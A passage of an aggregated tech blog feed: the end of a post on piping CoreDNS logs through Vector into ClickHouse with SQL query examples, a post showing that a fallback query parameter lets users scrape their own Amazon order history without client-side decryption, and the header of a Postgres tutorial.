<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">&#39;&#39;&#39;</span></span>
<span class="giallo-l"><span>drop_on_error</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span></code></pre>
<p>Apart from regex matching, we store the <code>timestamp</code> as received from Vector (since CoreDNS logs don’t contain any timestamp information). We delete some fields that we don’t care about.</p>
<p>Vector uses a powerful DSL (called <a rel="external" href="https://vector.dev/docs/reference/vrl/">VRL</a>) to do such kind of transformations on the fly. It has a lot of functions to do almost any kind of transformation to your original event payload. You can invoke <code>vector vrl</code> from the terminal and get a shell to write the above transformations and debug quickly. It proved to be really useful when dealing with such a long regex pattern.</p>
<h2 id="storing-in-clickhouse">Storing in Clickhouse<a class="zola-anchor" href="#storing-in-clickhouse" aria-label="Anchor link for: storing-in-clickhouse">#</a></h2>
<p>Finally we get to the part where we need to dump these logs to our Clickhouse DB. Here’s the schema for the table where we will be storing these records:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> DATABASE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> IF</span><span style="color: light-dark(#D73A49, #F47067);"> NOT</span><span style="color: light-dark(#D73A49, #F47067);"> EXISTS</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#032F62, #96D0FF);">coredns</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> TABLE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> IF</span><span style="color: light-dark(#D73A49, #F47067);"> NOT</span><span style="color: light-dark(#D73A49, #F47067);"> EXISTS</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#032F62, #96D0FF);">coredns</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>.</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">logs</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">timestamp</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#D73A49, #F47067);"> DateTime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Asia/Kolkata</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">bufsize</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> Int32,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">class</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">duration</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> Float64,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">id</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> Int32,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">level</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">name</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> String,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">proto</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">rcode</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">rflags</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> String,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">server_addr</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> String,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">server_port</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> Int32,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">rsize</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> Int32,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">size</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>  Int32,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">type</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String)</span></span>
<span class="giallo-l"><span>) ENGINE </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span> MergeTree</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">PARTITION</span><span style="color: light-dark(#D73A49, #F47067);"> BY</span><span> toYYYYMM(</span><span style="color: light-dark(#D73A49, #F47067);">timestamp</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span> toYYYYMMDD(</span><span style="color: light-dark(#D73A49, #F47067);">timestamp</span><span>)</span></span>
<span class="giallo-l"><span>TTL </span><span style="color: light-dark(#D73A49, #F47067);">timestamp</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> INTERVAL </span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span style="color: light-dark(#D73A49, #F47067);"> WEEK</span><span>;</span></span></code></pre>
<p><strong>Key things to note:</strong></p>
<ul>
<li><a rel="external" href="https://clickhouse.tech/docs/en/sql-reference/data-types/lowcardinality/"><code>LowCardinality</code></a> is used for columns where the data is predictable to reduce the disk space used.</li>
<li>Clickhouse uses the sort key as the primary key if unspecified. This is the default behaviour.</li>
<li>TTL for the records is set to 1 week. After 1 week all the records will be purged. Since this is my dev machine, I don’t really care about a higher TTL.</li>
<li>This also means that the partition is never really put to use since I am partitioning by month but logs are being deleted every week. At this scale, it doesn’t really make sense to even have it, but I just included it for posterity.</li>
</ul>
<p><strong>UPDATE</strong>:</p>
<p>Clickhouse on Twitter <a rel="external" href="https://twitter.com/ClickHouseDB/status/1401541954043887616">clarified</a> that <code>ORDER BY timestamp</code> will have better performance in this context. Usually if your queries are “last 1h”, “last 5m” based, it is better to not store the the sort key as <code>YYYYMMDD</code> format.</p>
<p><img src="https://mrkaran.dev/images/clickhouse_twitter_post.png" alt="image" /></p>
<p>Now, we need to instruct Vector to send these logs to Clickhouse:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sinks</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">coredns_logs_clickhouse_output</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">clickhouse</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  inputs</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">parse_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  compression</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">gzip</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  database</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  endpoint</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">http://localhost:8123</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  table</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  encoding</span><span>.</span><span>timestamp_format</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">unix</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  batch</span><span>.</span><span>timeout_secs</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span></span></code></pre>
<p>Clickhouse offers an HTTP API (which is running on port 8123 by default). Vector takes the input from the previous step (<code>parse_logs</code> transformation) and sends it to Clickhouse over the HTTP interface. Clickhouse stores datetimes in UNIX, so before sending the data, Vector can encode certain fields in the payload to a different data type as well (isn’t that cool 😎)</p>
<h2 id="query-examples">Query Examples<a class="zola-anchor" href="#query-examples" aria-label="Anchor link for: query-examples">#</a></h2>
<p>I’ve been running this pipeline for 3-4 days, so I have a decent amount of data collected to show for the blog post.</p>
<ul>
<li>
<p>Total Count of Queries</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span><span style="color: light-dark(#005CC5, #6CB6FF);"> count</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> coredns</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">logs</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─</span><span style="color: light-dark(#005CC5, #6CB6FF);">count</span><span>(</span><span>)─┐</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">16774</span><span> │</span></span>
<span class="giallo-l"><span>└─────────┘</span></span></code></pre></li>
<li>
<p>Top Query Types</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    count</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span>) </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> total,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    type</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> coredns</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">logs</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">GROUP BY</span><span style="color: light-dark(#D73A49, #F47067);"> type</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span> total </span><span style="color: light-dark(#D73A49, #F47067);">DESC</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">LIMIT</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─total─┬─</span><span style="color: light-dark(#D73A49, #F47067);">type</span><span>─┐</span></span>
<span class="giallo-l"><span>│  </span><span style="color: light-dark(#005CC5, #6CB6FF);">9931</span><span> │ A    │</span></span>
<span class="giallo-l"><span>│  </span><span style="color: light-dark(#005CC5, #6CB6FF);">6852</span><span> │ AAAA │</span></span>
<span class="giallo-l"><span>└───────┴──────┘</span></span></code></pre></li>
<li>
<p>Top Query Names</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    count</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span>) </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> total,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    name</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> coredns</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">logs</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">GROUP BY</span><span style="color: light-dark(#D73A49, #F47067);"> name</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span> total </span><span style="color: light-dark(#D73A49, #F47067);">DESC</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">LIMIT</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─total─┬─</span><span style="color: light-dark(#D73A49, #F47067);">name</span><span>────────────────────────────┐</span></span>
<span class="giallo-l"><span>│  </span><span style="color: light-dark(#005CC5, #6CB6FF);">2513</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">ping</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">archlinux</span><span>.org.             │</span></span>
<span class="giallo-l"><span>│  </span><span style="color: light-dark(#005CC5, #6CB6FF);">1868</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">ws</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">todoist</span><span>.com.                 │</span></span>
<span class="giallo-l"><span>│  </span><span style="color: light-dark(#005CC5, #6CB6FF);">1011</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">incoming</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">telemetry</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">mozilla</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">org</span><span>. │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">802</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">vortex</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">data</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">microsoft</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">com</span><span>.      │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">707</span><span> │ logs</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">01</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">loggly</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">com</span><span>.             │</span></span>
<span class="giallo-l"><span>└───────┴─────────────────────────────────┘</span></span></code></pre></li>
<li>
<p>Max/Min duration</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    max</span><span>(</span><span>duration) </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> max,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    min</span><span>(</span><span>duration) </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> min</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> coredns</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">logs</span></span>
<span class="giallo-l"><span>FORMAT Vertical</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">Row</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>:</span></span>
<span class="giallo-l"><span>──────</span></span>
<span class="giallo-l"><span>max: </span><span style="color: light-dark(#005CC5, #6CB6FF);">4</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">056606352</span></span>
<span class="giallo-l"><span>min: </span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">000020837</span></span></code></pre></li>
<li>
<p>Top TLDs Queried</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    count</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">name</span><span>) </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> total,</span></span>
<span class="giallo-l"><span>    topLevelDomain(</span><span style="color: light-dark(#005CC5, #6CB6FF);">substring</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">name</span><span>, </span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>, </span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)) </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> tld</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> coredns</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">logs</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">GROUP BY</span><span> tld</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span> total </span><span style="color: light-dark(#D73A49, #F47067);">DESC</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">LIMIT</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─total─┬─tld──┐</span></span>
<span class="giallo-l"><span>│ </span><span style="color: light-dark(#005CC5, #6CB6FF);">10666</span><span> │ com  │</span></span>
<span class="giallo-l"><span>│  </span><span style="color: light-dark(#005CC5, #6CB6FF);">3950</span><span> │ org  │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">671</span><span> │ net  │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">346</span><span> │ so   │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">288</span><span> │ tech │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">279</span><span> │ </span><span style="color: light-dark(#D73A49, #F47067);">io</span><span>   │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">190</span><span> │ co   │</span></span>
<span class="giallo-l"><span>│   </span><span style="color: light-dark(#005CC5, #6CB6FF);">167</span><span> │ dev  │</span></span>
<span class="giallo-l"><span>│    </span><span style="color: light-dark(#005CC5, #6CB6FF);">82</span><span> │ arpa │</span></span>
<span class="giallo-l"><span>│    </span><span style="color: light-dark(#005CC5, #6CB6FF);">43</span><span> │ </span><span style="color: light-dark(#D73A49, #F47067);">in</span><span>   │</span></span>
<span class="giallo-l"><span>└───────┴──────┘</span></span></code></pre></li>
</ul>
<p>Well, that’s all I could think of really. If you’ve some more interesting analysis to get from this data, let me know!</p>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>The intention behind writing this post is to give an overview of how the entire log collection and processing pipeline works. Using Vector has been an amazing experience however the sad bit is that I don’t know Rust and I cannot contribute to some of the issues I’ve opened (even though they are presumably trivial). Maybe I should pick up Rust, finally? 🤭</p>
<p>Thanks for reading!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Amazon Order History Encryption Bypass]]></title>
            <link>https://captnemo.in/blog/2021/05/14/amazon-website-order-drm/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2021/05/14/amazon-website-order-drm/</guid>
            <pubDate>Fri, 14 May 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Amazon US website allows you to export your Order History easily by visiting the “Order History Reports” page. No such option seems to exist for the Amazon websites for other countries. I was trying to write a simple scraper for the Amazon India Order History Page to get the same data, and discovered something interesting: Amazon encrypts the Order history page, and decrypts it using client side cryptography1. If you were to visit the page, and check the response HTML, you’d see something like this in the source code (fairly simplified):

// Define encrypted content in JS
var payload = {
  "kid": "b70014",
  "iv": "/HenfXwYrGrrw8ff",
  "ct": "Wt78pPcibe8HAdVtoJ8+E9EGwt4IQYNghBMubBy7Zy/..."
}
// The HTML div to be populated with the decrypted HTML
var elementId = "csd-encrypted-889C1D02..";
// if client side decryption library failed to load
if (!window.SiegeClientSideDecryption) {
  window.location.href = "?disableCsd=missing-library";
  return;
}
// Decrypt and populate the div
SiegeClientSideDecryption.decryptInElementWithId(
  elementId, payload, {callSource: "now"}
);


The easiest way to scrape with such hurdles is often to just run a complete browser to scrape the site. The browser runs the javascript code with the decryption routine so you can scrape the actual content. However, it is much slower, and wastes CPU cycles - I try to avoid it if I can.

    Aside: Click here for explanation of the decryption code
    
The server sends some HTML encrypted as a JSON payload (ct is truncated ciphertext in the snippet above), along with the IV and a Key ID. The SiegeClientSideDecryption library is then called to decrypt the payload and set the plaintext result as inner HTML of the elementID. The code redirects to a different URL in case the decryption library fails to load.


I could have spent time to parse the encryption routine, extract the key and decrypt the payload. But I found a much simpler solution - Amazon offers an alternate URL which disables encryption. As a fallback, in case the decryption code fails, it adds a query parameter ?disableCsd=missing-library. That disables the server side encryption entirely.
So if you’re trying to scrape Amazon and stumped at the missing order history in the HTML, try visiting the following URLs instead:
https://www.amazon.in/gp/css/order-history?disableCsd=missing-library
https://www.amazon.co.uk/gp/css/order-history?disableCsd=missing-library
https://www.amazon.com/gp/css/order-history?disableCsd=missing-library
Amazon also sets a cookie csd-key=disabled but I didn’t experiment with that much.
Request My Data
Another alternative to scraping is to request Amazon for your data. Check the Retail.OrderHistory CSV files in the data export. The export from amazon.com includes data for other countries as well. The feature is also available on other Amazon sites:
Amazon US - Request My Data
Amazon India - Request My Data
Amazon UK - Request My Data
Amazon Germany - Request My Data
I’m hesitant to call this DRM, but it might qualify as such. ↩]]></description>
            <content:encoded><![CDATA[<p>The Amazon US website allows you to export your Order History easily by visiting the “<a href="https://www.amazon.com/gp/b2b/reports">Order History Reports</a>” page. No such option seems to exist for the Amazon websites for other countries. I was trying to write a simple scraper for the <a href="https://www.amazon.in/gp/your-account/order-history">Amazon India Order History Page</a> to get the same data, and discovered something interesting: Amazon encrypts the Order history page, and decrypts it using client side cryptography<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>. If you were to visit the page, and check the response HTML, you’d see something like this in the source code (fairly simplified):</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Define encrypted content in JS</span>
<span class="kd">var</span> <span class="nx">payload</span> <span class="o">=</span> <span class="p">{</span>
  <span class="dl">"</span><span class="s2">kid</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">b70014</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">iv</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/HenfXwYrGrrw8ff</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">ct</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Wt78pPcibe8HAdVtoJ8+E9EGwt4IQYNghBMubBy7Zy/...</span><span class="dl">"</span>
<span class="p">}</span>
<span class="c1">// The HTML div to be populated with the decrypted HTML</span>
<span class="kd">var</span> <span class="nx">elementId</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">csd-encrypted-889C1D02..</span><span class="dl">"</span><span class="p">;</span>
<span class="c1">// if client side decryption library failed to load</span>
<span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nb">window</span><span class="p">.</span><span class="nx">SiegeClientSideDecryption</span><span class="p">)</span> <span class="p">{</span>
  <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">?disableCsd=missing-library</span><span class="dl">"</span><span class="p">;</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Decrypt and populate the div</span>
<span class="nx">SiegeClientSideDecryption</span><span class="p">.</span><span class="nf">decryptInElementWithId</span><span class="p">(</span>
  <span class="nx">elementId</span><span class="p">,</span> <span class="nx">payload</span><span class="p">,</span> <span class="p">{</span><span class="na">callSource</span><span class="p">:</span> <span class="dl">"</span><span class="s2">now</span><span class="dl">"</span><span class="p">}</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The easiest way to scrape with such hurdles is often to just <a href="https://github.com/angrykoala/awesome-browser-automation">run a complete browser</a> to scrape the site. The browser runs the javascript code with the decryption routine so you can scrape the actual content. However, it is much slower, and wastes CPU cycles - I try to avoid it if I can.</p>

<aside><details>
    <summary>Aside: Click here for explanation of the decryption code</summary>
    <p>The server sends some HTML encrypted as a JSON payload (<code class="language-plaintext highlighter-rouge">ct</code> is truncated ciphertext in the snippet above), along with the IV and a Key ID. The <code class="language-plaintext highlighter-rouge">SiegeClientSideDecryption</code> library is then called to decrypt the payload and set the plaintext result as inner HTML of the elementID. The code redirects to a different URL in case the decryption library fails to load.</p>
  </details></aside>

<p>I could have spent time to parse the encryption routine, extract the key and decrypt the payload. But I found a much simpler solution - Amazon offers an alternate URL which disables encryption. As a fallback, in case the decryption code fails, it adds a query parameter <code class="language-plaintext highlighter-rouge">?disableCsd=missing-library</code>. That disables the server side encryption entirely.</p>

<p>So if you’re trying to scrape Amazon and stumped at the missing order history in the HTML, try visiting the following URLs instead:</p>

<ul>
  <li><a href="https://www.amazon.in/gp/css/order-history?disableCsd=missing-library">https://www.amazon.in/gp/css/order-history?disableCsd=missing-library</a></li>
  <li><a href="https://www.amazon.co.uk/gp/css/order-history?disableCsd=missing-library">https://www.amazon.co.uk/gp/css/order-history?disableCsd=missing-library</a></li>
  <li><a href="https://www.amazon.com/gp/css/order-history?disableCsd=missing-library">https://www.amazon.com/gp/css/order-history?disableCsd=missing-library</a></li>
</ul>

<p>Amazon also sets a cookie <code class="language-plaintext highlighter-rouge">csd-key=disabled</code> but I didn’t experiment with that much.</p>

<h3 id="request-my-data">Request My Data</h3>

<p>Another alternative to scraping is to request <a href="https://amazon.com/gp/privacycentral/dsar/preview.html">Amazon for your data</a>. Check the <code class="language-plaintext highlighter-rouge">Retail.OrderHistory</code> CSV files in the data export. The export from <code class="language-plaintext highlighter-rouge">amazon.com</code> includes data for other countries as well. The feature is also available on other Amazon sites:</p>

<ul>
  <li><a href="https://www.amazon.com/gp/privacycentral/dsar/preview.html">Amazon US - Request My Data</a></li>
  <li><a href="https://www.amazon.in/gp/privacycentral/dsar/preview.html">Amazon India - Request My Data</a></li>
  <li><a href="https://www.amazon.co.uk/gp/privacycentral/dsar/preview.html">Amazon UK - Request My Data</a></li>
  <li><a href="https://www.amazon.de/gp/privacycentral/dsar/preview.html">Amazon Germany - Request My Data</a></li>
</ul>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>I’m hesitant to call this <a href="https://www.defectivebydesign.org/"><abbr title="Digital Restrictions Management">DRM</abbr></a>, but it might qualify as such. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Intermediate Postgresql for rails developers, Part 0: Get your environment]]></title>
            <link>https://aboobacker.in/2021/04/30/intermediate-postgresql-for-rails-developers-part-0-get-your-enviornoments-ready.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2021/04/30/intermediate-postgresql-for-rails-developers-part-0-get-your-enviornoments-ready.html</guid>
            <pubDate>Fri, 30 Apr 2021 17:42:00 GMT</pubDate>
